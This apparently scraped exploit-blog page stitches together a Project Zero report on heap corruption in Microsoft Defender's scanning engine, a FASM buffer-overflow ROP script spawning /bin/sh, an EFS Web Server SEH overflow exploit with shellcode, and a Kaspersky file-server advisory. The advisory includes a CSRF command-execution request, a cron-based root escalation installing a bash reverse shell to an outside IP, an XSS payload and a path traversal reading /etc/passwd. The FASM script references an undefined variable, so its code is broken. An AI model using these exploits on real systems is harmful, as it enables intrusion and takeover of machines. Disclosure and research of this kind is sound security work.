Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1282&desc=2
In issue 1260 I discussed Microsoft's "apicall" instruction that can invoke a large number of internal emulator apis and is exposed to remote attackers by default in all recent versions of Windows. I asked Microsoft if this was intentionally exposed, and they replied "The apicall instruction is exposed for multiple reasons", so this is intentional.
This full system x86 emulator runs as SYSTEM, is unsandboxed, is enabled by default and remotely accessible to attackers.
I took a quick stab at writing a fuzzer and immediately found heap corruption in the KERNEL32.DLL!VFS_Write API, I suspect this has never been fuzzed before. A minimal testcase would be something like this:
int main(int argc, char **argv)
{
MpApiCall("NTDLL.DLL", "NtControlChannel", 0xA); // Disable apicall limit
for (int i = 0; i < 16; i++) {
MpApiCall("NTDLL.DLL", "VFS_Open", (uint64_t) L"filename", 0);
MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", 0, 0);
MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", -1, 0);
}
return 0;
}
I suspect the MutableByteStream object getting corrupted with an unchecked memcpy, I've seen multiple different stacktraces including wild eip.
See attachment for MpApiCall() implementation, and pre-compiled testcase, renamed testcase.txt. Note that as soon as the testcase.txt file touches disk, it will immediately crash the MsMpEng service on Windows, which may destabilize your system. The testcases have been encrypted to prevent crashing your exchange server.
This bug was found on Linux using Address Sanitizer:
$ ./mpclient extra/testcase.exe
main(): Scanning extra/testcase.exe...
EngineScanCallback(): Scanning input
*** Error in `./mpclient': free(): invalid pointer: 0x0a5b4e50 ***
Aborted (core dumped)
Then verified on Windows in MsMpEng.exe:
Critical error detected c0000374
Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x29:
001b:76fc3b6d cc int 3
2: kd> kv
ChildEBP RetAddr Args to Child
0192e638 76fc4acd c0000374 76fdedd8 0192e67c ntdll!RtlReportCriticalFailure+0x29 (FPO: [Non-Fpo])
0192e648 76fc4bad 00000002 777482b4 11109bb0 ntdll!RtlpReportHeapFailure+0x21 (FPO: [Non-Fpo])
0192e67c 76f8a1dc 0000000c 00370000 11109bb0 ntdll!RtlpLogHeapFailure+0xa1 (FPO: [Non-Fpo])
0192e76c 76f55950 0000cc5c 0000cc68 003700c4 ntdll!RtlpAllocateHeap+0x7b2 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for mpengine.dll -
0192e7f0 66ac184e 00370000 00000008 0000cc5c ntdll!RtlAllocateHeap+0x23a (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0192e808 668b60ef 0000cc5c 00000001 0cb26e40 mpengine!FreeSigFiles+0x1cb14e
0192e858 6682c1a7 94741586 0cb26e40 11069948 mpengine!_rsignal+0x3479f
0192e880 668266f5 947414e2 00000000 0192eb34 mpengine+0x20c1a7
0192e9e4 668251ce 0192eb34 0cb26e40 00001000 mpengine+0x2066f5
0192ea38 66822fd1 0cb26e40 109ee478 00001000 mpengine+0x2051ce
0192eab0 66823127 0192eae0 0192eb34 00000000 mpengine+0x202fd1
0192eba8 66822d18 0192ec00 0192ec54 00000000 mpengine+0x203127
0192ec70 66823533 0192ec98 110c02e0 947411c2 mpengine+0x202d18
0192ecc4 668244b5 110c02e0 947411fa 106bde30 mpengine+0x203533
0192ecfc 66824593 110c02e0 94741382 00000000 mpengine+0x2044b5
0192ee84 6682085f 0192f7dc 00000000 003e7cd8 mpengine+0x204593
0192ee9c 6682088b 0192eeb8 66823dd2 0192f7dc mpengine+0x20085f
0192eea4 66823dd2 0192f7dc 0192f7dc 947413be mpengine+0x20088b
0192eeb8 66820829 0192f7dc 003e7cd8 66820790 mpengine+0x203dd2
0192eed8 66823d4a 0192f7dc 00000000 9474121a mpengine+0x200829
0192ef1c 6682d2a0 0192f7dc 0000800c 0192f7dc mpengine+0x203d4a
0192ef30 668820be 947409ce 66881ba0 00370bf8 mpengine+0x20d2a0
0192f4c8 66881b5f 00004039 0192f7dc 00000030 mpengine!_rsignal+0x76e
0192f4f0 66881a1e 0192f7dc 00000030 94740bfe mpengine!_rsignal+0x20f
0192f6f8 66881987 0192f7dc 00000030 0192f758 mpengine!_rsignal+0xce
0192f708 71436eff 003d5c60 00004039 0192f7dc mpengine!_rsignal+0x37
0192f758 7061480b 003d5bf8 00004039 0192f7dc mpsvc!rsignal_wrapper+0xef (FPO: [Non-Fpo])
0192f784 706478b4 0192f7dc 0192f828 00000000 mprtp!RealtimeProtection::CCMEngine::NotifyChange+0x7e (FPO: [1,2,0])
0192f7a0 70647b53 9479983c 00000004 70647900 mprtp!RealtimeProtection::MpNotifyChangeEx+0x9a (FPO: [Non-Fpo])
0192f870 70646b0a 01dfa2a8 01dda8b8 01dfa2a8 mprtp!RealtimeProtection::MpOpenProcessNotificationWorker+0x253 (FPO: [Non-Fpo])
0192f888 70649aec 70649ab0 01dda8b0 0192f8ac mprtp!RealtimeProtection::AsyncNotificationWorker+0x86 (FPO: [Non-Fpo])
0192f898 70617e47 005209e8 70617dd0 947998e0 mprtp!RealtimeProtection::CAsyncNotificationWorkItem::ExecuteJob+0x3c (FPO: [0,1,4])
0192f8ac 73f3389a 01dda8b8 947c55e2 76f7268c mprtp!CommonUtil::CMpThreadPoolItemBase::DoAction+0x77 (FPO: [Non-Fpo])
0192f8e8 76f126d5 0192f948 0051c2b8 003a0c00 mpclient!CommonUtil::CMpThreadPoolProviderVista::WorkCallback+0xca (FPO: [Non-Fpo])
0192f90c 76f30774 0192f948 003a0c60 77749e94 ntdll!TppWorkpExecuteCallback+0x10f (FPO: [Non-Fpo])
0192fa5c 75f1ef8c 003a4e58 0192faa8 76f6367a ntdll!TppWorkerThread+0x562 (FPO: [Non-Fpo])
0192fa68 76f6367a 003a4e58 77749e60 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0192faa8 76f6364d 76f302cb 003a4e58 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0192fac0 00000000 76f302cb 003a4e58 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
2: kd> lmv m mpengine
start end module name
66620000 67015000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{CCD47945-D7B4-402F-99F0-622F76161ECD}\mpengine.dll
Image name: mpengine.dll
Timestamp: Tue May 23 10:52:27 2017 (592476DB)
CheckSum: 00A1867D
ImageSize: 009F5000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
################################################################################
I had some time to minimize the bug, a minimal testcase would be this:
MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0, 0xffffffff, 0);
MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0x7ff, 0x41414141, 0);
The first call extends the length of the file to nOffset, but because the numberOfBytes parameter is 0 no space is allocated. Then you can read and write arbitrary data to an arbitrary offset to the MutableByteStream object buffer. This is a very powerful exploit primitive, and exploitation does not seem difficult.
################################################################################
Here is a better testcase that crashes in a memcpy to a bad destination offset.
(gdb) r
Starting program: mpclient testcase.exe
main(): Scanning testcase.exe...
EngineScanCallback(): Scanning input
Program received signal SIGSEGV, Segmentation fault.
0xf6e98c08 in ?? ()
(gdb) x/i $pc
=> 0xf6e98c08: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
(gdb) p/x $edi
$1 = 0xc7028a20
(gdb) p/x $esi
$2 = 0x843e228
(gdb) x/10xb $esi
0x843e228: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x843e230: 0x00 0x00
(gdb) x/10xb $edi
0xc7028a20: Cannot access memory at address 0xc7028a20
(gdb) r
################################################################################
stacktrace on windows:
2: kd> r
eax=c7c13828 ebx=1ca71d90 ecx=00000400 edx=00001000 esi=1ca71d90 edi=db6625b8
eip=669c44e0 esp=0242c210 ebp=0242c234 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mpengine!memcpy+0x250:
001b:669c44e0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> dd edi
db6625b8 ???????? ???????? ???????? ????????
db6625c8 ???????? ???????? ???????? ????????
db6625d8 ???????? ???????? ???????? ????????
db6625e8 ???????? ???????? ???????? ????????
db6625f8 ???????? ???????? ???????? ????????
db662608 ???????? ???????? ???????? ????????
db662618 ???????? ???????? ???????? ????????
db662628 ???????? ???????? ???????? ????????
2: kd> kv
ChildEBP RetAddr Args to Child
0242c214 66a84a47 db6625b8 1ca71d90 00001000 mpengine!memcpy+0x250 (FPO: [3,0,2])
0242c234 66d73203 1ca71d90 00001000 00001000 mpengine!std::list<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> >,std::allocator<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> > > >::erase+0x72 (FPO: [Non-Fpo])
0242c258 66d732b9 1ca76db8 00001000 41414000 mpengine!Modification::read+0x79 (FPO: [Non-Fpo])
0242c2a0 66d736db 1ca76db8 00001000 41414000 mpengine!MutableStore::MutableByteStream::read+0xa3 (FPO: [Non-Fpo])
0242c2dc 66d737db 02f923e4 000007ff 41414141 mpengine!MutableStore::MutableByteStream::write+0xa0 (FPO: [Non-Fpo])
0242c320 66d6dfbb 00000544 02f923e4 000007ff mpengine!MutableStore::writeStrm+0xab (FPO: [Non-Fpo])
0242c35c 66d6b463 00000596 02f923e4 000007ff mpengine!VirtualFS::write+0x79 (FPO: [4,5,4])
0242c3a0 66c1eea8 02f923e4 000007ff 41414141 mpengine!VFS_Write+0x34 (FPO: [Non-Fpo])
0242c410 66b71e01 02ed0020 02f20610 fdeee3e7 mpengine!NTDLL_DLL_VFS_Write+0x78 (FPO: [Non-Fpo])
0242c440 66d840da 02f203a8 0309877f 02f20601 mpengine!__call_api_by_crc+0x114 (FPO: [Non-Fpo])
0242c468 030987a8 669eeca2 02f203a8 0309877f mpengine!x32_parseint+0x1ba (FPO: [Non-Fpo])
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42264.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863535575
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
#
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack
# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial
junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop
try:
print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["fasm", buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "[*] FASM not found!"
else:
print "[*] Error executing exploit"
raise
#!/usr/bin/python
##################################
# 2017/6/17 Chako
#
# EFS Web Server 7.2 - Local Buffer Overflow(SEH)
# Tested on: Windows XP SP3 EN (DEP Off)
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
# Description:
# When importing a large user account file on to EFS Web Server 7.2
# will trigger the vuln.
##################################
import struct
# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode = ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"
#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563
nSEH = "\xEB\x0F\x90\x90"
# 0x10012f3b : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)
NOP = "\x90" * 10
BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP
print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()
1. *Advisory Information*
Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0003
Advisory URL: http://www.coresecurity.com/advisories/Kaspersky-Anti-Virus-File-Server-Multiple-Vulnerabilities
Date published: 2017-06-28
Date of last update: 2017-06-28
Vendors contacted: Kaspersky
Release mode: Forced release
2. *Vulnerability Information*
Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
Improper Privilege Management [CWE-269], Improper Limitation of a
Pathname to a Restricted Directory [CWE-22]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812
3. *Vulnerability Description*
From Kaspersky Lab's website:
"Large corporate networks that use file servers running on different
platforms can be a real headache when it comes to antivirus protection.
Kaspersky Anti-Virus for Linux File Server is part of our range of new
and refreshed products, solutions and services for heterogeneous
networks. It provides a superior protection with Samba server
integration and other features that can protect workstations and file
servers in even the most complex heterogeneous networks. It is also
certified VMware Ready and supports current versions of FreeBSD for
integrated, future-proof protection."
Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
Linux File Server [2] Web Management Console. It is possible for a
remote attacker to abuse these vulnerabilities and gain command
execution as root.
4. *Vulnerable Packages*
. Kaspersky Anti-Virus for Linux File Server 8.0.3.297 [2]
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Kaspersky [1] published the following Maintenance Pack:
. Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):
https://support.kaspersky.com/13738/
6. *Credits*
This vulnerability was discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Kaspersky Anti-virus for Linux File Server comes bundled with a Web
Management Console to monitor the application's status and manage its
operation.
One specific feature allows configuring shell scripts to be executed
when certain events occur. This functionality is vulnerable to
cross-site request forgery, allowing code execution in the context of
the web application as the kluser account. The vulnerability is
described in section 7.1.
Moreover, it is possible to elevate privileges from kluser to root by
abusing the quarantine functionality provided by the kav4fs-control
system binary. This is described in section 7.2.
Additional web application vulnerabilities were found, including a
reflected cross-site scripting vulnerability (7.3) and a path traversal
vulnerability (7.4).
7.1. *Cross-site Request Forgery leading to Remote Command Execution*
[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
interface. This would allow an attacker to submit authenticated requests
when an authenticated user browses an attacker-controlled domain.
The following request will update the notification settings to run a
shell command when an object is moved to quarantine. For the full list
of events refer to the product's documentation. Note that it is possible
to add a script to all existing events in a single request, widening the
window of exploitation.
The proof-of-concept creates the file /tmp/pepperoni. Shell commands
are run as the lower privilege kluser.
Payload:
/-----
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]
-----/
Request:
/-----
POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
wmc_full_stat=1;
wmc_logsSimpleMode=1;
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js;
wmc_show_settings_descr=false;
iconsole_test; wmc_show_licence_descr=false
Connection: close
taskId=7&
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D
&schedule=%7B%7D&skipCtimeCheck=true
-----/
7.2. *Privilege escalation due to excessive permissions*
[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
binary. By abusing the quarantine read and write operations, it is
possible to elevate the privileges to root.
The following proof-of-concept script adds a cron job that will be
executed as root.
/-----
# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app
# Create cron job in /tmp
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron
# Sample reverse shell payload
cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF
chmod +x /tmp/reverse.sh
# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)
# Restore the file to /etc/cron.d
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant
-----/
7.3. *Reflected cross-site scripting*
[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
method is vulnerable to cross-site scripting.
/-----
http://<server
IP>:9080/cgi-bin/cgictl?action=licenseKeyInfo&do_action=licenseKeyInfo&scriptName=</script><img+src%3dx+onerror%3d"alert(1)"%3b/>&active=&licenseKey=bla
-----/
7.4. *Path traversal*
[CVE-2017-9812]: The reportId parameter of the getReportStatus action
method can be abused to read arbitrary files with kluser privileges.
The following proof-of-concept reads the /etc/passwd file.
/-----
GET
/cgi-bin/cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Referer: http://<server IP>:9080/
Cookie: iconsole_test; wmc_useWZRDods=true;
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js
Connection: close
-----/
8. *Report Timeline*
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
including a draft advisory.
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
five reported vulnerabilities and asked us opinion on their
justifications about mitigating factors on the other two. They also said
they would inform us about a fix date in a few days.
. 2017-04-06: Core Security thanked the confirmation and sent
justification for one of the vulnerabilities questioned. Core Security
agreed on removing one reported vulnerability since it can be mitigated
via a product setting.
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
reported and are working on a fix. They said fixes will be released
"till the June, 30", and also said will inform us the exact dates by
the end of June.
. 2017-04-25: Core Security thanked the confirmation of the final
vulnerabilities list and asked for clarification about the release date.
. 2017-04-25: Kaspersky clarified they will release the fix by June
30th and will let us know the exact date by mid June.
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
publication on June 30th and also asked for CVEs.
. 2017-06-19: Core Security answer back proposing advisory publication
to be July 3rd in order to avoid advisory publication on a Friday. Also
asked for clarification about a fix dated June 14th found by Core
Security researchers and whether or not it fixes the vulnerabilities
reported.
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
is related to fixes for reported vulnerabilities.
